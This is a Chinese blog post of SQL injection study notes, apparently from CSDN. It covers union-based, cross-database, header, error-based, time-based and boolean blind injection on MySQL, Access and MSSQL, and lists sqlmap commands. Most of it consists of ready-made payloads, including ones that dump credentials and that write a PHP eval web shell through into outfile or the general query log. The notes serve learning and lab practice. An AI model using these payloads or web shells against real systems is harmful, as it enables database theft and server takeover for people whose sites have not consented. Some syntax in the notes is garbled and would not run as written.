sql注入

一、基础sql语句

增加表列:alter table '表名' add '列名' '数据类型'

删除表列:alter table '表名' drop column  '列名'

创建表:creat table '表名'(

        '列名1' '数据类型',

        '列名2' '数据类型',

         '列名3' '数据类型',

        primary key('列名1 or 2 or 3')

)

删除表:drop table '表名'

插入表项:insert into '表名'('列1','列2')  valuse('项1','项2')      ""('列1','列2')可有可无

删除表项:delete form '表名' where '列名'="主键项"

更新表项:update '表名' set '项名'='将要设定的数值' where '项'='已经设定的数值'

单表全部查询:select * from '表名'

单表部分查询:select  '列名1' ,'列名2' from '表名'

假设x有参数,则?x=1 and 1=1 为注入语句
 

二、一般sql注入

        MYSQL 注入:(目的获取当前 web 权限)
        1、判断常见四个信息(系统,用户,数据库名,版本)
        2、根据四个信息去选择方案
        root 用户:先测试读写,后测试获取数据
        非 root 用户:直接测试获取数据         

一.判断注入点

        老办法:and 1=1页面返回正常

                       and 1=2页面错误

                       可能存在注入点

        好方法:阿萨姆奶茶(如果404或者跳转,无注入点)

        猜解列名数量(?id=1 order by 'number')

        报错猜解数字union select 1,2,3,4(几个列就写到几,并且让?id=1报错,比如id=-1或者 and 1=2)  

二、信息收集

        数据库版本:version()                        5.7.22-0ubuntu0.16.04.1

        数据库名:database()                            mozhe_Discuz_StormGroup

        数据库用户:user()    必须是root用户     root@localhost

        操作系统:@@version_compile_os    Linux

        在相应报错数字的位置查询(假如2,3报错:?id=1 and 1=2 union select 1,database(),user(),4)

        

3、数据注入

        区分高低版本:数据库版本高于5.0即为高版本

        高版本:在MYSQL5.0以上版本存在一个自带数据库为information_schema,它是一个存储所有数据库名、表名、列名的数据库,相当于可以通过查询它获取指定数据库下面的表名、列名信息

        数据库中符号'.'代表下一级,比如xiaodi.user表示xiaodi数据库下的user表名。

      补充:

         MYSQL5.0 以上版本:自带的数据库名 information_schema
        informationschema:存储数据库下的数据库名及表名,列名信息的数据库
        information_schema.schemata:记录数据库名信息的表
        information_schema.tables:记录表名_信息的表
        information_schema.columns:记录列名信息表
        schema_name:information_schema.schemata 记录数据库名信息的列名值
        table_schema:information_schema.tables 记录数据库名的列名值
        table_name:information_schema.tables 记录表名的列名值
        column_name:information_schema.columns 记录列名的列名值

查表名:?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema ='‘数据库名’'

查列名:?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name ='‘表名'’ and table_schema ='‘数据库名’'

查询指定数据:?id=-1 union select 1,group_concat(列名),3,4 from '表名' 

或:?id=-1 union select 1,列名1,列名2,4 from '表名' limit 0,1

//group_concat() 表示全部显示     limit 0,1 标识需要几个列名

三、跨库注入(前提当前数据库为root用户)

获取所有库名:?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata

获取指定数据库下的表名信息:

?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema ='‘跨库库名’

获取指定数据库下的列名信息:

?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name ='‘跨库表名’and table_schema ='‘跨库库名’'  

(避免不同数据库下表名相同)

四、文件读写操作(前提当前数据库为root用户且secure-file-priv设置不固定区域)可使用联合注入或堆叠注入

        0.select @@datadir  查询数据库data文件夹绝对路径   select @@basedir  查询数据库绝对路径 

 show global variables like "secure%";   #查询有没有写入权限

网站默认路径:

phpstudy:c://phpstudy//www

IIS:c://inetpub//wwwroot

xampp:c://xampp/htdocs

宝塔:/www/wwwroot

apache:/var/www

        1.load_file();读取函数   ?id=-1 union select 1,load_file('c:\\Windows\\win.ini'),3

        2.into outfile或者into dumpfile;导出函数   ?id=-1' union select 1,"<?php @eval($_POST['x']);?>",3 into outfile 'E:\\phpstudy_pro\\WWW\\shell.php' --+

        //利用load_file()读取中间件路径,再利用into outfile导入函数传入一句话

        网站文件路径常见获取方法:

        报路径错显示、遗留文件(例如phpinfo())、漏洞报错、平台配置文件(例如mysql/my.ini)、爆破等。

        网站存在魔术引号(magic_quotes_gpc)解决方法:

       路径url转HEX编码

        secure-file-priv:在mysql/my.ini中的[mysqld]下加入‘secure_file_priv=’。重启mysql服务

如果secure-file-priv设置为NULL,可以尝试向日志中写木马:

show variables like '%general%'; #查看日志状态-->即可爆出日志的保存状态和保存路径
SET GLOBAL general_log='on'
SET GLOBAL general_log_file='C:\\phpStudy\\WWW\\shell.php';#即设置日志保存的根目录的地址-->即典型你要写马的位置
SELECT '<?php eval($_POST["shell"]);?>'#执行语句-->即在日志文件中会直接生成

三、SQLMAP使用方法

1.判断是否存在注入点

目标网站:http://192.168.1.104/?id=1

命令:Python sqlmap.py -u http://192.168.1.104/?id=1

当注入点后面参数大于等于2个时,需要加双引号

命令:python sqlmap.py -u “http://192.168.1.104/?id=1&uid=2”

不设置参数进行判断

从文本中加载HTTP请求,将一个HTTP请求保存在文本中(GET ,POST)

命令:python sqlmap.py -r 地址/xx.txt

2.查询用户下所有的数据库

目标网站:http://192.168.1.104/?id=1

命令:Python sqlmap.py -u http://192.168.1.104/?id=1 –-dbs

3.查询数据库中的表名

目标网站:http://192.168.1.104/?id=1

命令:Python sqlmap.py -u http://192.168.1.104/?id=1 -D xx –tables

4.查询数据库中表的字段名

目标网站:http://192.168.1.104/?id=1

命令:Python sqlmap.py -u http://192.168.1.104/?id=1 -D xx –T xx –columns

5.查询字段的内容

目标网站:http://192.168.1.104/?id=1

命令:Python sqlmap.py -u http://192.168.1.104/?id=1 -D xx –T xx –-D xx –dump

6.获取数据库中所有用户

目标网站:http://192.168.1.104/?id=1

Python sqlmap.py -u http://192.168.1.104/?id=1 –users

7.获取数据库中用户密码

目标网站:http://192.168.1.104/?id=1

Python sqlmap.py -u http://192.168.1.104/?id=1 –passwords

8.获取当前网络数据库名称

目标网站:http://192.168.1.104/?id=1

Python sqlmap.py -u http://192.168.1.104/?id=1 –-current –db

9.获取数据库用户名称

目标网站:http://192.168.1.104/?id=1

Python sqlmap.py -u http://192.168.1.104/?id=1 –-current –user

10.探测等级(level(1-5))

通常一般探测等级为1,最高为5,sqlmap使用的payload可以自动破解出cookie,XFF等头部注入,一般使用level 3

命令: Python sqlmap.py -u http://192.168.1.104/?id=1 –dbs –level 3

11.查询用户是否为管理权限

如果有会返回true

Python sqlmap.py -u http://192.168.1.104/?id=1 –is-dba

12.—referer

当Sqlmap的level为3时,可以在请求头伪造http中的referer,尝试对referer注入,可以适应referer命令来欺骗

--referer http://www.baidu.com

13.—sql-shell

该命令用于执行指定的SQL语句

Python sqlmap.py -u http://192.168.1.104/?id=1 –sql-shell

14.—os-cmd, --os-shell

该命令用于运行任意操作系统命令

Python sqlmap.py -u http://192.168.1.104/?id=1 –-os-cmd

Python sqlmap.py -u http://192.168.1.104/?id=1 –os-shell

15.—file-read

从数据库中读取文件

Python sqlmap.py -u http://192.168.1.104/?id=1 –file-read

16—file-write—file-dest

上传文件到数据库服务器中

Python sqlmap.py -u http://192.168.1.104/?id=1 –file-write—file-dest 作者:可爱的小龙w https://www.bilibili.com/read/cv4716105?from=search&spm_id_from=333.337.0.0 出处:bilibili

四、注入类型和提交注入

注入类型:数字、字符、搜索、json

提交方法:GET、POST、REQUEST、HTTP头等

字符型:?name=''

模拟查询:select * from user where name like '%xiaodi%'

其中SQL语句干扰符号:''、""、%、(、{

一、提交方法
  

        #PHP-MYSQL-数据请求方法
        全局变量方法:GET POST SERVER FILES HTTP 头等
        User-Agent:
        使得服务器能够识别客户使用的操作系统,游览器版本等. (很多数据量大的网站中会记
        录客户使用的操作系统或浏览器版本等存入数据库中)
        Cookie:
        网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据 X
        Forwarded-For:简称 XFF 头,它代表客户端,也就是 HTTP 的请求端真实的 IP, (通
        常一些网站的防注入功能会记录请求端真实 IP 地址并写入数据库 or 某文件 [ 通过修改
        XXF 头可以实现伪造 IP] .
        Rerferer:浏览器向 WEB 服务器表明自己是从哪个页面链接过来的 .
        Host:客户端指定自己想访问的 WEB 服务器的域名 /IP 地址和端口号
        
        如功能点:
        1、用户登录时
        2、登录判断 IP
        是 PHP 特性中的 $_SERVER['HTTP_X_FORWARDED_FOR']; 接受 IP 的绕过(绕过)
        实现:代码配置固定 IP 去判断 - 策略绕过:直接bp改xff成代码中的配置
        实现:数据库白名单 IP 去判断 -select 注入
        实现:防注入记录 IP 去保存数据库 -insert 注入
        3、文件上传将文件名写入数据库 -insert 注入
       
        4、json注入
         数据采用统一格式传输,后端进行格式解析带入数据库(json)
         数据采用加密编码传输,后端进行解密解码带入数据库(base64)

二、注入类型              

        1.字符注入:

                php源码::$id=('id')

                sql注入语句:?id=1' and '1'='1

                实现效果: $id=('1 and '1'='1')                      php注释后面的符号:--+

                (例如:

                ?id=1' and 1=1 order by 3--+    \\猜字段

                ?id=1' and 1=1 union select 1,2,3--+)  之后和sql数数型注入类型一样

          2.json(app中常用)
 

五、SQL注入之数据库类型

数据库类型:mysql、access、mssql、mongoDB、postgresql、sqlite、oracle、sybase等

access:(无法跨库注入)

                表名

                                列名

                                                数据

mysql、mssql等:

                数据库A

                                表名

                                                列名

                                                                数据

                数据库B

一、判断数据库类型

        1.观察网址文件后缀,推出数据库类型

        2.使用sqlmap进行检测

                (python sqlmap.py -u http://219.153.49.228:45799/new_list.asp?id=1)

二、Access 数据库注入流程

        1.order by        

        2.?id=1 union select 1,2,3,4 from admin   'admin是猜的表名'

        3.?id=1 union select 1,username,passwd,4 from admin  'username和passwd是猜的列名'

        (tip:如果猜不出来,可以用burp suite 暴力破解)

三、MSSQL 流程

        1.判断是MSSQL类型 ?id=1 and exists(select count(*) from sysobjects) --

       2.判断mssql数据库的字段长度 order by 5

        3.寻找字符型的显示位置  id=-2 and union all select null,null,null,null

        4.通过更改null的字符进行判断显示 id=-2 and union all select null,‘2’,‘3’,null

        5.通过命令对数据库进行相关查询 {

                                                        @@version-:获取版本信息
                                                        db_name():数据库名字
                                                        user,system_user,current_user,user_name:获取当前⽤户名
                                                        @@SERVERNAME:获取有关服务器主机的信息

                                                                        }

                        id=-2 and union all select null,@@verions,‘3’,null

                        id=-2 union all select null,db_name(),‘3’,null

        6.通过前面获取的数据库名称,获取表名,但是在MSSQL中查询表与MYSQL存在区别。

                        mysql查询表:union select 1,table_column,3,4 from information_schema.columns where table_name=‘数据库名称’
                        mssql查询表:union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype=‘u’),‘3’,4

四、postgresql注入

        PostgreSQL数据库注入-墨者学院(SQL手工注入漏洞测试(PostgreSQL数据库))_墨者sql手工注入漏洞测试(postgresql数据库)_T1ngSh0w的博客-CSDN博客

五、mongDB

Mongodb注入-CSDN博客Mongodb注入-CSDN博客Mongodb注入-CSDN博客

六、查询方式及报错盲注

当进行sql注入时,有很多注入会出现无回显的情况,其中不回显的原因可能是sql语句的查询方式的问题导致,这个时候我们需要用相关的报错或盲注进行后续操作,同时作为手工注入时,提前了解或预知其sql语句大概写法也能更好的选择对应的注入语句。常见5种。

      1.  select 查询数据

        在网站应用中进行数据显示查询操作

        select * from news  where id=$id

     2.   insert 插入数据

        在网站应用中进行用户注册添加等操作

        insert into news(id,url,text) value(2,'x','$t')

       3. delete 删除数据

        后台管理里面删除文章删用户等操作

        delete from news where id=$id

       4. update 更新数据

        会员或者后台中心数据同步或缓存操作

        update user set pwd='$p' where id=2 and username='admin'

       5. order by 排列数据

        一般结合表名或列名进行数据排序操作

        select * from news order by $id

SQL盲注:盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称为盲注。我们可以知道盲注分为以下三类:

       1.基于报错的SQL注入-报错回显、报错注入(优先级1)前提条件:die(mysqli_error($con));

        floor,updatexml,extractvalue

                1、通过ExtractValue报错,注入语句如下:
                and extractvalue(1, concat(0x5c, (select table_name from

information_schema.tables limit 3,1),0x5c));//查表information_schema.tables中table_name列中的第三项一条数据

                 /从security数据库下得到全部表名字从information_schema.tables

                and extractvalue(1, concat(0x5c, (select version()),0x5c));//查版本号

                2、通过UpdateXml报错,注入语句如下:
                and 1=(updatexml(1,concat(0x3a,(select user())),1))

       

        2.基于时间的SQL盲注-延时判断(优先级3)

         if,sleep

                ?id=1 and sleep(if(database()=a,1,20))--+

                 and if(length(database())=8,sleep(1),sleep(10));

                select * from users where id=1 and sleep(if(database()='SECUCRITY',1,5))

        3.基于布尔的SQL盲注-逻辑判断(优先级2)必须有数据库输出判断标准

        regexp,like,acsii,left,ord,mid

       示例:

        and length(database())=7;
        and left(database(),1)='p';
        and left(database(),2)='pi';
        and substr(database(),1,1)='p';
        and substr(database(),2,1)='i';
        and ord(left(database(),1))=112;

       

        lenth->substr+ascii

        流程:猜数据库长度,猜数据库第一位字符,通过asill猜测前两位相加,同理猜后面的。

        查表名:?id=1'and sleep(if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,10,0)) --+  延时+布尔

        或:?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80--+     仅有布尔,limit是查询分页,limit x,y    x从第n+1行取值(第一行默认x=0),y几个结果;1,1是substr的(,x,y)。

参考:
like 'ro%'     #判断ro或ro.. .是否成立
regexp '^xiaodi[a-z]'   #匹配xiaodi及xiaodi...等
if(条件,5,0)    #条件成立返回5反之返回0
sleep(5)     #sQI语句延时执行5秒
mid(a,b,c)     #从位置b开始,截取a字符串的c位
substr(a,b,c)    #从b位置开始,截取字符串a的c长度
left(database(),1),database() #left(a,b)从左侧截取a的前b位
length(database())=8   #判断数据库database ()名的长度
ord=ascii ascii(x)=97   #判断x的asci i码是否等于97


 

七、SQLMAP绕过WAF

八、模糊搜索

对表admin中含有x的项进行模糊搜索

select * from admin where username like '%x%';

select * from admin where username like '%.x%';

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值